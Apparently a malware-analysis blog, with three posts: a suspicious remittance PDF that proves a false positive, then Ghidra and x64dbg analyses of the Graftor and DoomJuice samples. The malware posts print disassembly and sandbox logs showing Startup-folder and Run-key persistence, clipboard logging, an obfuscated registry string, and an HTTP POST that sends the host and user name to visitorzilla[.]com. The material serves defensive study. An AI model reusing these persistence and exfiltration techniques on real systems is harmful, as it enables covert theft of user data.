Monday, January 11, 2021

Suspicious(?) PDF Analysis - Remittance detail from ...

Received a mail about Remittance Detail from Forsythe Technology Canada Inc. claiming to be from paymentremittanceinformation[at]wellsfargo.com. First off, I'm not expecting any remittance. 


At this point, I'm obviously concern that someone has targeted me, with the hope of the following:

1.    This mail bypasses any filter which maybe in place
2.    That I opened the PDF.

I guess 50% pass park is not bad. It did pass the filter. However, it was not convincing enough for me to open the PDF.

Taking a look first at the headers and extracting what I find important, we see:

Authentication-Results: spf=fail (sender IP is 205.139.110.120)
 smtp.mailfrom=wellsfargo.com; siriuscom.com; dkim=fail (body hash did not
 verify) header.d=wellsfargo.com;siriuscom.com; dmarc=fail action=oreject
 header.from=wellsfargo.com;compauth=none reason=451
Received-SPF: Fail (protection.outlook.com: domain of wellsfargo.com does not
 designate 205.139.110.120 as permitted sender)
 receiver=protection.outlook.com; client-ip=205.139.110.120;
 helo=us-smtp-1.mimecast.com;

I noticed the mail seems to have originated in outlook[.]com domain and have hit a number of servers within that domain. More importantly, it seems there are lots of failures as it relates to Sender Policy Framework (SPF).

Checking the file hash in VirusTotal, Google, Bing and Duck Duck Go, all returned 0 results at the time of my search.

C:\Users\SecurityNik>certutil -hashfile c:\tmp\trk971234427.pdf MD5
MD5 hash of c:\tmp\trk971234427.pdf:
6dbd1780250f64939227b82bfa4e5382
CertUtil: -hashfile command completed successfully.

Digging deeper, to learn about the PDF. Taking a peak in with PDFId.

C:\Users\SecurityNik>pdfid c:\tmp\trk971234427.pdf
PDFiD 0.2.7 c:\tmp\trk971234427.pdf
 PDF Header: %PDF-1.4
 obj                    9
 endobj                 9
 stream                 3
 endstream              3
 xref                   1
 trailer                1
 startxref              1
 /Page                  1
 /Encrypt               0
 /ObjStm                0
 /JS                    0
 /JavaScript            0
 /AA                    0
 /OpenAction            0
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /XFA                   0
 /URI                   0
 /Colors > 2^24         0

It is said that most malicious PDF documents, only have 1 page. We see above 1 page. That in itself is not suspicious. What do we have in the three streams.

C:\Users\SecurityNik>pdf-parser c:\tmp\trk971234427.pdf --object 1,3,5
obj 1 0
 Type: /XObject
 Referencing:
 Contains stream

  <<
    /ColorSpace /DeviceRGB
    /Subtype /Image
    /Height 42
    /Filter /DCTDecode
    /Type /XObject
    /Width 230
    /BitsPerComponent 8
    /Length 6170
  >>


obj 5 0
 Type:
 Referencing:
 Contains stream

  <<
    /Filter /FlateDecode
    /Length 1282
  >>


obj 3 0
 Type: /XObject
 Referencing: 2 0 R
 Contains stream

  <<
    /Subtype /Form
    /Filter /FlateDecode
    /Type /XObject
    /Matrix [1 0 0 1 0 0]
    /FormType 1
    /Resources
      <<
        /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
        /Font
          <<
            /F1 2 0 R
          >>
      >>
    /BBox [0 0 36 10.35]
    /Length 55
  >>

Looking at obj 1 0  we see information which suggests an image. Information such as ColorSpace, Height 42, Width 230. We also see this seems to be of size 6170 bytes. 

Attempting to extracting this content from obj 1 0, we see the filter DCTDecode is not supported

C:\Users\SecurityNik>pdf-parser c:\tmp\trk971234427.pdf --object 1 --filter
obj 1 0
 Type: /XObject
 Referencing:
 Contains stream

  <<
    /ColorSpace /DeviceRGB
    /Subtype /Image
    /Height 42
    /Filter /DCTDecode
    /Type /XObject
    /Width 230
    /BitsPerComponent 8
    /Length 6170
  >>

 "Unsupported filter: ['/DCTDecode']"


Taking advantage of PDFStreamDumper and looking at the HexDump of stream 1, we see a snapshot below of the first few bytes, suggesting this is a PDF file.


I then saved those bytes to a file named pdf-obj-1.jpg

C:\Users\SecurityNik>dir c:\tmp\pdf-obj-1.jpg
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of c:\tmp

12/22/2020  01:28 PM             6,170 pdf-obj-1.jpg
               1 File(s)          6,170 bytes
               0 Dir(s)  37,737,611,264 bytes free

You might also notice that the file size matches the results which was returned in the length of obj 1 0.

I then ran the Image SHA1 hash through VirusTotal and got no hits. Next stop, load up ProcessHacker before opening the image, to see if it creates any processes. The Image turned out to be the company logo.

Let's now look at obj 5 0. redirecting it's output to a file named pdf-obj-5.txt.

C:\Users\SecurityNik>pdf-parser c:\tmp\trk971234427.pdf --object 5 --filter --dump pdf-obj-5.txt
obj 5 0
 Type:
 Referencing:
 Contains stream

  <<
    /Filter /FlateDecode
    /Length 1282
  >>

Verifying the file's creation.

C:\Users\SecurityNik>dir pdf-obj-5.txt
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\Users\SecurityNik

12/22/2020  01:45 PM             5,948 pdf-obj-5.txt
               1 File(s)          5,948 bytes
               0 Dir(s)  37,858,271,232 bytes free


Running the type command on the file to see if anything stands out as suspicious nothing was returned.

C:\Users\SecurityNik>type pdf-obj-5.txt | more
q
36 36 540 720 re
W
n
q
1 0 0 1 39 734.74 cm
q 100 0 0 18.26 0 0 cm /img0 Do Q
Q
q

At this point, I haven't found anything to confirm my suspicion that this is a malicious file. I then opened the file on my analysis machine using my browser. This is when I started laughing. I guess I'm a bit too paranoid. 

False Positive
It turned out this was actually a legit email. I just was not expecting it. Similarly, I was already set to report this as Suspicious. I guess it is a good thing I took a second to look at it to see what might be of interest. How do I know it is legit? Well further evidence can be had with individuals within the organization to confirm this is legit. An important take away here, is that context is truly important when performing analysis.


References:
How SPF Works
Enforcing DMARC policy (reject) on an Office 365 tenant

Malware Analysis - Learning about Graftor malware with Ghidra and x64dbg

This post and all others for this month are part of the series which I used to help me prepare for my GIAC Reverse Engineer Malware (GREM) certification.

As always, the static and dynamic analysis was completed before any attempts to learn about this sample via Ghidra and x64dbg.

Taking a look at this from the perspective of both Ghidra and x64dbg by poking at a few function calls.


Ghidra Static Code Analysis

Looking at the GetCurrentProcess function, we see this function is called and the return value is pushed unto the stack.

        00406205 ff d6           CALL       ESI=>KERNEL32.DLL::GetCurrentProcess
        00406207 50              PUSH       EAX                                              ; HANDLE hTargetProcessHandle fo

Wanting to understand what the SHGetSpecialFolderPathA function is about, below we see:

        00401f84 6a 00           PUSH       0x0                                                     ; BOOL fCreate for SHGetSpecialF
        00401f86 6a 1a           PUSH       0x1a                                                    ; int csidl for SHGetSpecialFold
        00401f88 8d 44 24 08     LEA        EAX=>file_path, [ESP + 0x8]
        00401f8c 50              PUSH       EAX                                                     ; LPSTR pszPath for SHGetSpecial
        00401f8d 6a 00           PUSH       0x0                                                     ; HWND hwnd for SHGetSpecialFold
        00401f8f ff 15 74        CALL       dword ptr [->SHELL32.DLL::SHGetSpecialFolderPathA]

My understanding is that the value 0x1a which is associated with the csidl determines the folder. This value 0x1a represents the APPDATA folder. Alternatively, can confirm this folder in the debugger. Note, from Ghidra's perspective, this call was made twice. 

After finding the special folder, a call is made to CreateDirectoryA

        00401fff 6a 00           PUSH       0x0                                                     ; LPSECURITY_ATTRIBUTES lpSecuri
        00402001 50              PUSH       EAX=>DAT_004342ac                                       ; LPCSTR lpPathName for CreateDi
        00402002 ff 15 38        CALL       dword ptr [->KERNEL32.DLL::CreateDirectoryA]

Next up, we see a call is made to GetComputerNameA to learn the computer name.

        00403580 68 f8 41        PUSH       nSize_004341f8                                          ; LPDWORD nSize for GetComputerNameA                                                                                                ; = 00000010
        00403585 68 d4 6d        PUSH       lpBuffer_00436dd4                                       ; LPSTR lpBuffer for GetComputerNameA                                                                ; = ??
        0040358a ff 15 18        CALL       dword ptr [->KERNEL32.DLL::GetComputerNameA]

Once the function to get computer name has executed, we then see a call to GetUserNameA.

        00403580 68 f8 41        PUSH       nSize_004341f8                                          ; LPDWORD nSize for GetComputerNameA                                                                                                    ; = 00000010
        00403585 68 d4 6d        PUSH       lpBuffer_00436dd4                                       ; LPSTR lpBuffer for GetComputerNameA                                                                                    ; = ??
        0040358a ff 15 18        CALL       dword ptr [->KERNEL32.DLL::GetComputerNameA]

Another function of interest relates to CreateFileA. Looking in Ghidra, there are multiple calls to this function. Specifically 5 calls. Looking at one of them, we see a normal file being created with read permission and the file should be opened only if it already exists.

                             LAB_00406729                                    XREF[1]:     00406721(j)  
        00406729 6a 00           PUSH       0x0                                                     ; HANDLE hTemplateFile for CreateFileA
        0040672b 51              PUSH       this                                                    ; DWORD dwFlagsAndAttributes for CreateFileA
        0040672c 50              PUSH       EAX                                                     ; DWORD dwCreationDisposition for CreateFileA
        0040672d 8d 85 e0        LEA        EAX=>local_124, [EBP + 0xfffffee0]
        00406733 50              PUSH       EAX                                                     ; LPSECURITY_ATTRIBUTES lpSecurityAttributes f
        00406734 52              PUSH       EDX                                                     ; DWORD dwShareMode for CreateFileA
        00406735 ff b5 f0        PUSH       dword ptr [EBP + dwDesiredAccess]                       ; DWORD dwDesiredAccess for CreateFileA
        0040673b ff b5 f4        PUSH       dword ptr [EBP + lpFileName]                            ; LPCSTR lpFileName for CreateFileA
        00406741 ff 15 b0        CALL       dword ptr [->KERNEL32.DLL::CreateFileA]

Seeing a call to PathAppendA, we see this below this requires a pointer to the original path and another point to the string which will be appended. Looking forward to see what x64dbg shows us here.

        004043a1 8d 4c 24 24     LEA        ECX=>local_310, [ESP + 0x24]
        004043a5 51              PUSH       ECX                                                     ; LPCSTR pMore for PathAppendA
        004043a6 8d 94 24        LEA        EDX=>local_20c, [ESP + 0x12c]
        004043ad 52              PUSH       EDX                                                     ; LPSTR pszPath for PathAppendA
        004043ae ff 15 88        CALL       dword ptr [->SHLWAPI.DLL::PathAppendA]

Looking at the InternetOpenA call, we see

        004072ed ff 75 1c        PUSH       dword ptr [EBP + dwFlags]                               ; DWORD dwFlags for InternetOpenA
        004072f0 ff 75 18        PUSH       dword ptr [EBP + lpszProxyBypass]                       ; LPCSTR lpszProxyBypass for InternetOpenA
        004072f3 ff 75 14        PUSH       dword ptr [EBP + lpszProxy]                             ; LPCSTR lpszProxy for InternetOpenA
        004072f6 ff 75 10        PUSH       dword ptr [EBP + dwAccessType]                          ; DWORD dwAccessType for InternetOpenA
        004072f9 50              PUSH       EAX                                                     ; LPCSTR lpszAgent for InternetOpenA
        004072fa ff 15 1c        CALL       dword ptr [->WININET.DLL::InternetOpenA]

x64dbg Dynamic Analysis

Looking at GetCurrentProcess we confirm what we saw in Ghidra that the return value FFFFFFFF  (-1) which is stored in EAX is pushed unto the stack, we also see this value is used as an argument to the GetProcessMitigationPolicy function which checks the mitigation policy of the calling process.  This call to GetProcessMitigationPolicy is made multiple times within this sample. 


Looking at the interactions, I seems this malware also interacts with the Clipboard as shown via RegisterClipboardFormatA. This call was also made multiple times.


Looking at the code before the return is executed, we see SHGetSpecialFolderPathA has a value of "C:\\Users\\SecurityNik\\AppData\\Roaming". Guess that confirms the 0x1A we learned about earlier via Ghidra points to Application Data folder. In another call, this function returned "C:\\Users\\SecurityNik\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"


Looking at the CreateDirectoryA function, we see a directory named DataBackup is created. 


Further confirmation that this directory has been created.

C:\Users\SecurityNik>dir %appdata%
Directory of C:\Users\SecurityNik\AppData\Roaming

12/09/2020  11:53 AM    <DIR>          .
12/09/2020  11:53 AM    <DIR>          ..
12/09/2020  11:18 AM    <DIR>          DataBackup

Looking at the call to GetComputerNameA. It seems that GetComputerNameA, ended up calling GetComputerNameW. The first parameter to GetComputerNameW is a pointer to a buffer that receives the computer name. Looking at the output from x64dbg, we see the address 0x0019FB84 points to the buffer which received the computer name which is reported as SECRUTIYNIK-WIN. Surprisingly the call for the computer is made multiple times.


GetUserNameA calls GetUserNameExA and ultimately returns current logged in user who is SecurityNik

We can further confirm the above two important as follows.

C:\Users\SecurityNik\AppData\Roaming\DataBackup>hostname
SECURITYNIK-WIN10

C:\Users\SecurityNik\AppData\Roaming\DataBackup>whoami
securitynik-win\securitynik

Looking at one of the calls to CreateFileA we see below a file named sed.ic being created in the previously created DataBackup folder. Later in the debugging, calls to CreateFileA resulted in the creation of a file named me.ic in the same folder.


After leaving the above code to run, I did not see the file created in the folder. 

Here is the contents of the me.ic file.

C:\Users\SecurityNik\AppData\Roaming\DataBackup>type me.ic

=====================================================================
Active Window: Process Hacker [SECURITYNIK-WIN\SecurityNik]
SEESION 12/09/20 11:18:03
{ClipBoard Data:nfig.edge.sk"}mm

Paying attention to the PathAppendA function, we see below what seems like persistence is being added via the Startup folder of the Start Menu via a .LNK file.


Looking on the host to see if this artifact was created, we see bellow that the entry was created successfully.

C:\Users\SecurityNik\AppData\Roaming>wmic startup where "Caption like '%Data%'" list full

Caption=DataABackup
Command=DataABackup.lnk
Description=DataABackup
Location=Startup
SettingID=
User=SECURITYNIK-WIN\SecurityNik

Looking at the OpenProcess call, we see a call to create a process which allows duplication of its handle. Additionally, we see the process has 000013F4.


Using Hex2Dec from Sysinternals, we convert 0x13f4 to decimal and get 5108.

C:\Users\SecurityNik\AppData\Roaming>hex2dec -nobanner 0x13f4
0x13F4 = 5108

Digging deeper, we see that the process with decimal 5108 as its process ID is expolorer.exe

C:\Users\SecurityNik\AppData\Roaming>wmic process where processID=5108 get ProcessID,name,CSName
CSName           Name          ProcessId
SECURITYNIK-WIN  explorer.exe  5108

If I know anything at this point, it is whenever malware is seen opening a process, especially a process such as explorer[.]exe, we can all but conclude this is more than likely going to be some type of process injection. Let's continue this journey.

While not shown below, there was a call to InternetOpenA thus initializing the application's use of this function.  

There was then another call to OpenProcess. However, this time it is an attempt to open its's own process with PID 0x794 which is decimal 1940.

C:\Users\SecurityNik\AppData\Roaming\DataBackup>hex2dec -nobanner 0x794
0x794 = 1940


C:\Users\SecurityNik\AppData\Roaming\DataBackup>wmic process where processID=1940 get ProcessID,name,CSName
CSName           Name        ProcessId
SECURITYNIK-WIN  msdsrv.exe  1940


The following is the call to InternetConnectA which is attempting to connect to visitorzilla[.]com on port 0x50 (80).


At this point, I modified my host file adding an entry for visitorzilla[.]com.

C:\Users\SecurityNik\AppData\Roaming>echo 10.0.0.113 visitorzilla.com >>  c:\windows\System32\drivers\etc\hosts
C:\Users\SecurityNik\AppData\Roaming>type c:\windows\System32\drivers\etc\hosts | findstr /i visit
10.0.0.113 visitorzilla.com

Next we see a call to HTTPOpenRequestA via POST attempting to communicate with /werdfghswepfdhfr.php. Later a call was made to HTTPAddRequestHeaderSA and  HTTPSendRequestA. These are not shown in this post.


Thsi above is followed by a call to InternetWriteFile for which 0x126 (294) bytes are to be written to a file named temp.txt.


Looking closer at the data pointed to in the buffer at 0x04557BB0 we see "--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93\r\nContent-Disposition: form-data; name=\"shfjshf\"\r\n\r\nU0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw==\r\n--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93\r\nContent-Disposition: form-data; name=\"dssds\"; filename=\"temp.txt\"\r\nContent-Type: text/plain\r\nContent-Transfer-Encoding: binary\r\n\r\n"

Looks like some of the above data is base64 encoded. Breaking this down a bit, we see the base64 content decoded as:

JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93  - oaUqTqTEqOw
U0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw== - SECURITYNIK-WIN@SecurityNik/

If nothing, we know above there is information about the computer name and the user.

Later, another call was made to InternetWriteFile, this time with the following:

"\r\n--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93\r\nContent-Disposition: form-data; name=\\Csubmit\\C value=\\Csubmit\\C\r\n\r\n\r\n--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93--\r\n"

Once completed, there was a call to InternetCloseHandleA.

Looking at the internet connection from INetSim's perspective, we see:

remnux@remnux:/tmp$ cat /var/log/inetsim/service.log | grep --perl-regexp "\:21822\]"
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] connect
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: POST /werdfghswepfdhfr.php HTTP/1.1
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Content-Type: multipart/form-data; boundary=JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: User-Agent: Top
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Host: visitorzilla.com
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Content-Length: 440
[2020-12-11 09:37:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] recv: Cache-Control: no-cache
[2020-12-11 09:39:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] info: POST data stored to: /var/lib/inetsim/http/postdata/f6083d9fb7a9dac9efd47287f5f4a83d16380e03
[2020-12-11 09:39:45] [1920] [http_80_tcp 13190] [10.0.0.103:21822] disconnect (timeout)

Looking at the contents of one of the postdata files created, we see:

remnux@remnux:~/malware/day1$ sudo cat  /var/lib/inetsim/http/postdata/c317d7ab622a9ede0150aa8c6903d55fd2acd9ec 
--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93
Content-Disposition: form-data; name="shfjshf"

U0VDVVJJVFlOSUstV0lOQFNlY3VyaXR5TmlrLw==
--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93
Content-Disposition: form-data; name="dssds"; filename="temp.txt"
Content-Type: text/plain
Content-Transfer-Encoding: binary


--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93
Content-Disposition: form-data; name=\Csubmit\C value=\Csubmit\C


--JW98YR8EHFUIEHFUEHFUHEUIFHEUFE93--

I have not decoded the above. However, I'm sure if we did, it would be the same thing as we saw previously.

Continuing this journey, we see a call to DeleteFileA to delete the file sed.ic.

Verifying this file exists before this code executes. 

C:\Users\SecurityNik\AppData\Roaming\DataBackup>dir sed.ic
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\Users\SecurityNik\AppData\Roaming\DataBackup

12/10/2020  03:25 PM                 0 sed.ic
               1 File(s)              0 bytes
               0 Dir(s)  36,314,120,192 bytes free

Letting the call to DeleteFileA run, we see:


Confirming the file has been deleted, we see:

C:\Users\SecurityNik\AppData\Roaming\DataBackup>dir sed.ic
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\Users\SecurityNik\AppData\Roaming\DataBackup

File Not Found

After hitting a few more breakpoints, the process Terminated. I believe one of the anti-debugging mechanism probably kicked in. At this point, I've achieved my objective. I've learned a bit more and I was able to extract some IoCs. Enough to call it a day on this.


References:

SANS FOR610 - GREM
Microsoft GetCurrentProcess
Why does GetCurrentProcess return -1
GetProcessMigitationPolicy
RegisterClipboardFormatA
SHGetSpecialFolderPathA
CreateDirectoryA
GetComputerNameA
GetComputerNameW
GetUserNameA
PathAppendA
OpenProcess
HTTPOpenRuquestA
InternetWriteFile
CSIDL values



Continuing Dynamic Malware Analysis - DoomJuice - Static Analysis with Ghidra and Dynamic Analysis with x64dbg

While the majority of static analysis is not shown in this post, it was done. However, what I thought I should add from the static analysis was information relating to the imports.

As I looked through the imports for the first 3 DLLs, I could see the functions which are being imported.


While above looks ok, looking at the WS2_32.dll which is associated with Windows Sockets, I see ordinal values instead.



Above suggests this process is doing tasks related to networking. However, I'm unable to be definitive on what the associated functions as I am unaware of what those ordinal values map to. Time to transition to Ghidra.

After setting up the Ghidra Project and letting Ghidra Analyze the file we have better insights into what those ordinals mean by looking at the Symbol Tree.


Now that we have those resolved, we can look a little closer into the associated functions. 

Let's start with the socket function. First at the assembly code. If we review this function from Microsoft's website, we see it takes 3 parameters which are all integers. These parameters are af, type and protocol.

Let's see what was provided to the socket function via the assembly code.

1
2
3
4
5
                             LAB_0040aa42                                    XREF[2]:     0040aa71(j), 0040aa97(j)  
        0040aa42 6a 06                PUSH       0x6                                              ; int protocol for socket
        0040aa44 6a 01                PUSH       0x1                                              ; int type for socket
        0040aa46 6a 02                PUSH       0x2                                              ; int af for socket
        0040aa48 ff 15 a4 10 40 00    CALL       dword ptr [->WS2_32.DLL::socket]

As we see above, three arguments are passed to the WS2_32.dll::socket function. These are 2 (af), 1 (type) and 6 (protocol). Digging deeper into Microsoft's documentation. Let's break this down further.
 
2 (af) - This represents AF_INET - The IPv4 family of protocols
1 (type) -  SOCK_STREAM - Provides reliable communication and uses TCP
6 (protocol) - IPPROTO_TCP - this says to use TCP.

At this point we know how the socket function is built and we know this malware uses TCP communication. Can we find the IPs. We will have to look deeper.

Still sticking with Ghidra and some other functions I think are interesting at this time, let's look at the call to CreateMutexA at address 

           Nik Comment: Function named changed by Nik
                             Create_Mutex_0040a741                           XREF[1]:     entry:0040ac13(c)  
        0040a741 55                   PUSH       EBP
        0040a742 8b ec                MOV        EBP,ESP
        0040a744 83 ec 40             SUB        ESP,0x40
        0040a747 80 65 ce 00          AND        byte ptr [EBP + local_36],0x0
        0040a74b 8d 45 c0             LEA        EAX=>local_44,[EBP + -0x40]
        0040a74e 50                   PUSH       EAX                                              ; LPCSTR lpName for CreateMutexA
        0040a74f 6a 01                PUSH       0x1                                              ; BOOL bInitialOwner for CreateM
                             Nik Comment: 1 byte values being moved into EBP. 
                             0x73 hex = ASCII 's'
                             0x79 hex = ASCII 'y'
                             0x6e hex = ASCII 'n'
                             0x63 hex = ASCII 'c'
                             0x2d hex = ASCII '-'
                             0x5a hex = ASCII 'z'
                             0x2d hex = ASCII '-'
                             0x6d hex = ASCII 'm'
                             0x74 hex = ASCII 't'
                             0x78 hex = ASCII 'x'
                             0x5f hex = ASCII '_'
                             0x31 hex = ASCII '1'
                             0x33 hex = ASCII '3'
                             0x33 hex = ASCII '3'
                             Note I could have instead "Set Equate" to represent the byte 
        0040a751 6a 00                PUSH       0x0                                              ; LPSECURITY_ATTRIBUTES lpMutexA
        0040a753 c6 45 c0 73          MOV        byte ptr [EBP + local_44],0x73
        0040a757 c6 45 c1 79          MOV        byte ptr [EBP + local_43],0x79
        0040a75b c6 45 c2 6e          MOV        byte ptr [EBP + local_42],0x6e
        0040a75f c6 45 c3 63          MOV        byte ptr [EBP + local_41],0x63
        0040a763 c6 45 c4 2d          MOV        byte ptr [EBP + local_40],0x2d
        0040a767 c6 45 c5 5a          MOV        byte ptr [EBP + local_3f],0x5a
        0040a76b c6 45 c6 2d          MOV        byte ptr [EBP + local_3e],0x2d
        0040a76f c6 45 c7 6d          MOV        byte ptr [EBP + local_3d],0x6d
        0040a773 c6 45 c8 74          MOV        byte ptr [EBP + local_3c],0x74
        0040a777 c6 45 c9 78          MOV        byte ptr [EBP + local_3b],0x78
        0040a77b c6 45 ca 5f          MOV        byte ptr [EBP + local_3a],0x5f
        0040a77f c6 45 cb 31          MOV        byte ptr [EBP + local_39],0x31
        0040a783 c6 45 cc 33          MOV        byte ptr [EBP + local_38],0x33
        0040a787 c6 45 cd 33          MOV        byte ptr [EBP + local_37],0x33
        0040a78b ff 15 2c 10 40 00    CALL       dword ptr [->KERNEL32.DLL::CreateMutexA]
        0040a791 ff 15 30 10 40 00    CALL       dword ptr [->KERNEL32.DLL::GetLastError]
        0040a797 2d b7 00 00 00       SUB        EAX,0xb7
        0040a79c f7 d8                NEG        EAX
        0040a79e 1b c0                SBB        EAX,EAX
        0040a7a0 40                   INC        EAX
        0040a7a1 c9                   LEAVE
        0040a7a2 c3                   RET

From above, we see it seems the mutex being created is sync-Z-mtx_133

Looking at the first call to GetSystemDirectoryA, we see the pointer to the buffer which will hold the information is stored in EAX register and the size of the buffer is 0x118 or 280 bytes decimal.

                             LAB_0040a812                                    XREF[1]:     0040a8ef(j)  
        0040a812 39 5d fc             CMP        dword ptr [EBP + local_8],EBX
        0040a815 8d 85 d0 fe ff ff    LEA        EAX=>local_134,[EBP + 0xfffffed0]
        0040a81b 75 0e                JNZ        LAB_0040a82b
        0040a81d 68 18 01 00 00       PUSH       0x118                                            ; UINT uSize for GetSystemDirect
        0040a822 50                   PUSH       EAX                                              ; LPSTR lpBuffer for GetSystemDi
        0040a823 ff 15 40 10 40 00    CALL       dword ptr [->KERNEL32.DLL::GetSystemDirectoryA]


The call to wsprintfA at 0040a940 also is an interesting function call in this context. Looking at the wsprintfA call.


        0040a915 68 a8 a0 40 00       PUSH       DAT_0040a0a8                                     ; = 6Eh    n
        0040a91a 68 a4 a0 40 00       PUSH       DAT_0040a0a4                                     ; = 72h    r
        0040a91f 68 9c a0 40 00       PUSH       DAT_0040a09c                                     ; = 72h    r
        0040a924 68 98 a0 40 00       PUSH       DAT_0040a098                                     ; = 5Ch    \
        0040a929 68 94 a0 40 00       PUSH       DAT_0040a094                                     ; = 6Fh    o
        0040a92e 68 90 a0 40 00       PUSH       DAT_0040a090                                     ; = 74h    t
        0040a933 68 88 a0 40 00       PUSH       DAT_0040a088                                     ; = 72h    r
        0040a938 68 80 a0 40 00       PUSH       s_ware\M_0040a080                                ; = "ware\\M"
        0040a93d 8d 45 d0             LEA        EAX=>local_a8,[EBP + -0x30]
        0040a940 68 5c a0 40 00       PUSH       s_Soft%sic%sf%sind%ss%sr%sVe%so%su_0040a05c      ; LPCSTR param_2 for wsprintfA
                                                                                                   ; = "Soft%sic%sf%sind%ss%sr%sVe%

Looking at above, you might be wondering what the hell is s_Soft%sic%sf%sind%ss%sr%sVe%so%su_0040a05c. Let's break this up for simplicity.

1- s_Soft%s
2- ic%s
3- f%s
4 - ind%ss%sr%s
5 - Ve%
6 - so%s
7- u_0040a05c.

Looking closely you can see the %s format specifiers which is consistent with format strings. We can now break this down further. Taking the first string pushed unto the stack which is at which is at 0040a080 (s_ware\M_0040a080).


                             s_ware\M_0040a080                               XREF[1]:     FUN_0040a908:0040a938(*)  
        0040a080 77 61 72 65 5c       ds         "ware\\M"
        0040a087 00                   ??         00h

At this point we have Soft+ware\\M which gives us Software\\M

Looking at the next entry pushed DAT_0040a088 unto the stack. Looking for the string at 0040a088 we get:

                             s_roso_0040a088                                 XREF[1]:     FUN_0040a908:0040a933(*)  
        0040a088 72 6f 73 6f 00       ds         "roso"
        0040a08d 00                   ??         00h
        0040a08e 00                   ??         00h
        0040a08f 00                   ??         00h

From above we had Software\\M adding the ic+roso we get Software\\Microso

Continuing with the 3rd entry DAT_0040a090 pushed unto the stack we see. 

                             s_t\W_0040a090                                  XREF[1]:     FUN_0040a908:0040a92e(*)  
        0040a090 74 5c 57 00          ds         "t\\W"

At this point we now have Software\\Microso + f + t\\W.  Putting it together we get Software\\Microsoft\W. We can continue going along this path. However, in the interest of time, here is what the final string looks like: Software\Microsoft\Windows\CurrentVersion\Run.

Looking further in to see what is being done with this registry key, we see below:

                             LAB_0040a995                                    XREF[1]:     0040a97d(j)  
        0040a995 ff 75 7c             PUSH       dword ptr [EBP + param_1]                        ; LPCSTR lpString for lstrlenA
        0040a998 ff 15 4c 10 40 00    CALL       dword ptr [->KERNEL32.DLL::lstrlenA]
        0040a99e 40                   INC        EAX
        0040a99f 50                   PUSH       EAX                                              ; DWORD cbData for RegSetValueExA
        0040a9a0 ff 75 7c             PUSH       dword ptr [EBP + param_1]                        ; BYTE * lpData for RegSetValueExA
        0040a9a3 8d 45 50             LEA        EAX=>local_28,[EBP + 0x50]
        0040a9a6 6a 01                PUSH       0x1                                              ; DWORD dwType for RegSetValueExA
        0040a9a8 6a 00                PUSH       0x0                                              ; DWORD Reserved for RegSetValue
        0040a9aa 50                   PUSH       EAX                                              ; LPCSTR lpValueName for RegSetV
        0040a9ab ff 75 70             PUSH       dword ptr [EBP + local_8]                        ; HKEY hKey for RegSetValueExA
        0040a9ae ff 15 08 10 40 00    CALL       dword ptr [->ADVAPI32.DLL::RegSetValueExA]

Most important for me above is the value which is going to be set. Cheating a bit, I looked at the disassembly and noticed a call to lsstrcpyA and the string Gremlin.

Here is what this looks like in the disassembly.

        0040a94f 68 54 a0 40 00       PUSH       s_Gremlin_0040a054                               ; LPCSTR lpString2 for lstrcpyA
                                                                                                   ; = "Gremlin"
        0040a954 8d 45 50             LEA        EAX=>local_28,[EBP + 0x50]
        0040a957 50                   PUSH       EAX                                              ; LPSTR lpString1 for lstrcpyA
        0040a958 ff 15 14 10 40 00    CALL       dword ptr [->KERNEL32.DLL::lstrcpyA]

Looking at the memory address 0040a054 we see 

                             **************************************************************
                             * lpString2 parameter of lstrcpyA                            *
                             *                                                            *
                             **************************************************************
                             s_Gremlin_0040a054                              XREF[1]:     FUN_0040a908:0040a94f(*)  
        0040a054 47 72 65 6d 6c       ds         "Gremlin"

Before I transition to x64dbg, I thought I should look at ProcDot output, to see if I can match what is done..



Above we see files were not only written to my local system in different locations but also to shares which are accessible. We also see it created and deleted a file named C:\Users\SecurityNik\AppData\Local\Temp\intrenat[.]exe.

However, upon verification of this, we see the file is actually on the file system. Maybe the file got deleted and I did not pay attention to that entry in ProcDOT.
C:\Users\SecurityNik\Desktop\Malware\day1>dir C:\Users\SecurityNik\AppData\Local\Temp\intrenat.exe
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\Users\SecurityNik\AppData\Local\Temp

02/09/2004  01:16 PM            43,008 intrenat.exe
               1 File(s)         43,008 bytes
               0 Dir(s)  35,435,905,024 bytes free


Looking closer at the files it seems it is the same file written to multiple locations as seen from the hash values below.

PS C:\tmp> Get-FileHash C:\users\SecurityNik\sync-src-1.00.tbz ; get-filehash c:\users\securitynik\appdata\local\virtualstore\windows\sync-src-1.00.tbz ; get-f
ilehash C:\Users\SecurityNik\AppData\Local\Temp\sync-src-1.00.tbz

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          6CD0666EE68849E57E054C6A009366868494C4EC73723F607473375518591496       C:\users\SecurityNik\sync-src-1.00.tbz
